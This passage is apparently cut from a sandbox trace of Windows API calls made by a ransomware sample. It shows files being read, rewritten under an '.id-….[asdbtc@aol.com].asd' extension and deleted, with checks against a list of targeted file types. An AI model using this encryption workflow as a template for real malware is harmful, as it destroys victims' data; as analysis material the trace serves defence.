(lpString="ProPlusrWW.xml") returned 14 [0044.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.701] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=16852) returned 1 [0044.701] CloseHandle (hObject=0x1b0) returned 1 [0044.702] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0044.702] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.702] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.703] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.703] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.703] GetLastError () returned 0x0 [0044.703] ReadFile (in: hFile=0x1b0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0044.749] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0044.751] ReadFile (in: hFile=0x1b0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.751] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.751] SetEndOfFile (hFile=0x1ac) returned 1 [0044.751] CloseHandle (hObject=0x1ac) returned 1 [0044.753] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.753] SetEndOfFile (hFile=0x1b0) returned 1 [0044.757] CloseHandle (hObject=0x1b0) returned 1 [0044.757] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.757] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0044.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.758] lstrlenW (lpString=".doc") returned 4 [0044.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString=".docx") returned 5 [0044.758] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.758] lstrlenW (lpString=".pdf") returned 4 [0044.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString=".xls") returned 4 [0044.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString=".xlsx") returned 5 [0044.758] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.758] lstrlenW (lpString=".ppt") returned 4 [0044.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.758] lstrlenW (lpString=".zip") returned 4 [0044.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.758] lstrlenW (lpString=".rar") returned 4 [0044.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString=".bz2") returned 4 [0044.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString=".7z") returned 3 [0044.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.758] lstrlenW (lpString=".dbf") returned 4 [0044.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.758] lstrlenW (lpString=".1cd") returned 4 [0044.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.759] lstrlenW (lpString=".jpg") returned 4 [0044.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.759] lstrlenW (lpString=".doc") returned 4 [0044.759] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".docx") returned 5 [0044.759] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.759] lstrlenW (lpString=".pdf") returned 4 [0044.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".xls") returned 4 [0044.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".xlsx") returned 5 [0044.759] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.759] lstrlenW (lpString=".ppt") returned 4 [0044.759] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.759] lstrlenW (lpString=".zip") returned 4 [0044.759] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.759] lstrlenW (lpString=".rar") returned 4 [0044.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".bz2") returned 4 [0044.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".7z") returned 3 [0044.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.759] lstrlenW (lpString=".dbf") returned 4 [0044.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.760] lstrlenW (lpString=".1cd") returned 4 [0044.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0044.760] lstrlenW (lpString=".jpg") returned 4 [0044.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.760] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.760] lstrlenW (lpString="Setup.xml") returned 9 [0044.760] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.762] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=20577) returned 1 [0044.762] CloseHandle (hObject=0x1b0) returned 1 [0044.762] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.762] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.762] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.762] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.763] GetLastError () returned 0x0 [0044.763] ReadFile (in: hFile=0x1b0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x5061, lpOverlapped=0x0) returned 1 [0044.775] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0044.776] ReadFile (in: hFile=0x1b0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.776] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.776] SetEndOfFile (hFile=0x1ac) returned 1 [0044.776] CloseHandle (hObject=0x1ac) returned 1 [0044.784] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.784] SetEndOfFile (hFile=0x1b0) returned 1 [0044.785] CloseHandle (hObject=0x1b0) returned 1 [0044.785] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.785] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.785] lstrlenW (lpString=".doc") returned 4 [0044.785] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString=".docx") returned 5 [0044.786] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.786] lstrlenW (lpString=".pdf") returned 4 [0044.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString=".xls") returned 4 [0044.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString=".xlsx") returned 5 [0044.786] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.786] lstrlenW (lpString=".ppt") returned 4 [0044.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.786] lstrlenW (lpString=".zip") returned 4 [0044.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.786] lstrlenW (lpString=".rar") returned 4 [0044.786] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString=".bz2") returned 4 [0044.786] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString=".7z") returned 3 [0044.786] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.786] lstrlenW (lpString=".dbf") returned 4 [0044.786] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.786] lstrlenW (lpString=".1cd") returned 4 [0044.786] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.786] lstrlenW (lpString=".jpg") returned 4 [0044.786] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.786] lstrlenW (lpString=".doc") returned 4 [0044.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString=".docx") returned 5 [0044.787] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.787] lstrlenW (lpString=".pdf") returned 4 [0044.787] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString=".xls") returned 4 [0044.787] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString=".xlsx") returned 5 [0044.787] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.787] lstrlenW (lpString=".ppt") returned 4 [0044.787] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.787] lstrlenW (lpString=".zip") returned 4 [0044.787] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.787] lstrlenW (lpString=".rar") returned 4 [0044.787] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString=".bz2") returned 4 [0044.787] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString=".7z") returned 3 [0044.787] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.787] lstrlenW (lpString=".dbf") returned 4 [0044.787] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.787] lstrlenW (lpString=".1cd") returned 4 [0044.787] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.787] lstrlenW (lpString=".jpg") returned 4 [0044.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.788] lstrcmpiW (lpString1=".EPS", lpString2=".asd") returned 1 [0044.788] lstrlenW (lpString="MS.EPS") returned 6 [0044.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.167] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=15067) returned 1 [0045.167] CloseHandle (hObject=0x19c) returned 1 [0045.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0045.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.168] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.168] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.168] GetLastError () returned 0x0 [0045.168] ReadFile (in: hFile=0x19c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0045.171] WriteFile (in: hFile=0x1c4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0045.172] ReadFile (in: hFile=0x19c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.172] WriteFile (in: hFile=0x1c4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0045.172] SetEndOfFile (hFile=0x1c4) returned 1 [0045.172] CloseHandle (hObject=0x1c4) returned 1 [0045.173] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.173] SetEndOfFile (hFile=0x19c) returned 1 [0045.174] CloseHandle (hObject=0x19c) returned 1 [0045.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0045.174] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.175] lstrlenW (lpString=".doc") returned 4 [0045.175] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0045.175] lstrlenW (lpString=".docx") returned 5 [0045.175] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0045.175] lstrlenW (lpString=".pdf") returned 4 [0045.175] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0045.175] lstrlenW (lpString=".xls") returned 4 [0045.175] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0045.175] lstrlenW (lpString=".xlsx") returned 5 [0045.175] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0045.175] lstrlenW (lpString=".ppt") returned 4 [0045.175] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.175] lstrlenW (lpString=".zip") returned 4 [0045.175] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0045.175] lstrlenW (lpString=".rar") returned 4 [0045.175] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0045.175] lstrlenW (lpString=".bz2") returned 4 [0045.175] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0045.175] lstrlenW (lpString=".7z") returned 3 [0045.175] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.175] lstrlenW (lpString=".dbf") returned 4 [0045.175] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.175] lstrlenW (lpString=".1cd") returned 4 [0045.175] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0045.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.175] lstrlenW (lpString=".jpg") returned 4 [0045.175] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.176] lstrlenW (lpString=".doc") returned 4 [0045.176] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0045.176] lstrlenW (lpString=".docx") returned 5 [0045.176] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0045.176] lstrlenW (lpString=".pdf") returned 4 [0045.176] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0045.176] lstrlenW (lpString=".xls") returned 4 [0045.176] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0045.176] lstrlenW (lpString=".xlsx") returned 5 [0045.176] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0045.176] lstrlenW (lpString=".ppt") returned 4 [0045.176] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.176] lstrlenW (lpString=".zip") returned 4 [0045.176] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0045.176] lstrlenW (lpString=".rar") returned 4 [0045.176] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0045.176] lstrlenW (lpString=".bz2") returned 4 [0045.176] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0045.176] lstrlenW (lpString=".7z") returned 3 [0045.176] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.176] lstrlenW (lpString=".dbf") returned 4 [0045.176] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.176] lstrlenW (lpString=".1cd") returned 4 [0045.176] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0045.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0045.176] lstrlenW (lpString=".jpg") returned 4 [0045.176] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0045.177] lstrcmpiW (lpString1=".avi", lpString2=".asd") returned 1 [0045.177] lstrlenW (lpString="boxed-correct.avi") returned 17 [0045.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 